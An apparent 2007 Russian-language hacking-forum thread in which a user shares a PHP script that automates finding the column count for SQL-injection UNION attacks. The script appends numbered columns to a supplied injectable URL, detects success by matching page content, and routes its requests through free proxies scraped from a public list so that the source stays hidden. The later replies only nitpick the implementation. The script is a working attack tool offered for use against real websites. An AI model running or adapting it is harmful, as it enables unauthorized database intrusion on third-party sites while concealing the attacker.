PDA

Просмотр полной версии : скрипт подбора колонок на php


fod
07.02.2007, 20:22
Очень простой скрипт для автоматизации подбора.
Советы, пожелания... ?

Использование простое, вставляем найденную скуль, вставляем, что искать в контенте и количесво колонок на перебор.



<html>
<body>
<style>
body {font-family: verdana;}
div.text {width: 600px; border: 1px dashed red; padding: 10px; text-align: left;}
div.results {width: 600px; border: 1px dashed #27B158; padding: 10px; text-align: left;}
._text {width: 100%; font-family: Verdana;}
._submit {font-family: verdana; font-weight: bold;}
</style>
<div align="center">
<div class="results">

</div>
<br />
<div class="text">
<b>Подбор количества столбцов.</b><br /><br />
<form name="sql_injection" action="" method="post">
URL: <input class="_text" name="url" type="text" value="<?=(isset($_POST['url']))?$_POST['url']:'http://www.example.com/sql.php?id=-1+union+select+1/*'?>"><br /><br />
Искать в контенте текст:<br />
<input class="_text" name="text" type="text" value="<?=(isset($_POST['text']))?$_POST['text']:'SELECT statements'?>"><br />
<input name="type" type="radio" value="-"<?=((isset($_POST['type']) AND $_POST['type']=='-') OR !isset($_POST['type']))?' checked':''?>> пока не пропадет.<br />
<input name="type" type="radio" value="+"<?=(isset($_POST['type']) AND $_POST['type']=='+')?' checked':''?>> пока не появится. <br /><br />
Максимальное количество столбцов.<br />
<input class="_text" name="columns" type="text" value="<?=(isset($_POST['columns']))?$_POST['columns']:100?>"><br /><br />
<input class="_submit" type="submit" name="submit" value="Подбор!">
</form>
</div>
</div>
</body>
</html>
<pre>
<?php
set_time_limit(0);

function parse_for_proxy()
{
$html = file_get_contents("http://www.proxy4free.com/page1.html");
preg_match_all("#<td>(\d+\.\d+\.\d+\.\d+)<\/td>\s*<td>(\d+)<\/td>#s", $html, $m);

for ($i=0; $i<sizeof($m[1]); $i++)
{
$proxies[] = $m[1][$i] . ':' . $m[2][$i];
}
shuffle($proxies);
return $proxies;
}

function check_proxy($prx)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://www.msn.com/');
curl_setopt($ch, CURLOPT_PROXY, $prx);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);

$data = curl_exec ($ch);
curl_close($ch);

if ($data !== false AND preg_match('#HTTP\/1\.\d+ 200#',$data))
{
return true;
}
else
{
return false;
}
}


function http_get_contents($url, $prx, $timeout=7)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)");

curl_setopt($ch, CURLOPT_PROXY, $prx);

curl_setopt($ch, CURLOPT_VERBOSE, 0);// показывать вывод
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_NOSIGNAL, false);

$data = curl_exec ($ch);

/*
$inf = curl_getinfo($ch);
$error = curl_error($ch);
$errno = curl_errno($ch);
*/

curl_close($ch);

return $data;
}

if (isset($_POST['submit']))
{
$proxies = parse_for_proxy();
for ($i = 0; $i < sizeof($proxies); $i++)
{
if (check_proxy($proxies[$i]))
{
$proxy = $proxies[$i];
echo 'Прокся: ' . $proxies[$i] . "\n";
break;
}
else
{
$proxy = false;
}
}

if($proxy == false)
{
echo 'Нет живых proxy.';
exit;
}

if (get_magic_quotes_gpc())
{
foreach($_POST as $k => $v)
{
$_POST[$k] = stripslashes($v);
}
}

$_POST['text'] = trim($_POST['text']);
$_POST['url'] = trim($_POST['url']);
$comments = substr($_POST['url'], -2);
$url = substr($_POST['url'], 0, -2);

$_POST['columns'] = ceil($_POST['columns'] * 1);

for ($i = 2; $i <= $_POST['columns']; $i++)
{
$url .= "," . $i;
echo $url . $comments ."\n";
flush();

$html = http_get_contents($url . $comments, $proxy);

if($html == false)
{
echo "Трабл с коннектом.";
exit;
}

$searching = strpos($html, $_POST['text']);

var_dump($searching);

if($_POST['type'] == '-' AND $searching === false)
{
break;
}
elseif($_POST['type'] == '+' AND $searching)
{
break;
}
}
}
?>

_Great_
07.02.2007, 21:12
Нуу это не дело. А если на сервере курла нету?

Iceangel_
07.02.2007, 21:18
Ничего... Пригодится...

fod
07.02.2007, 21:31
Нуу это не дело. А если на сервере курла нету?
да, это минус. будет время, через сокеты переделаю...

guest3297
07.02.2007, 23:38
Корявая реализация.

fod
08.02.2007, 00:09
Корявая реализация.
Был бы очень признателен, если б ткнули в кривизну.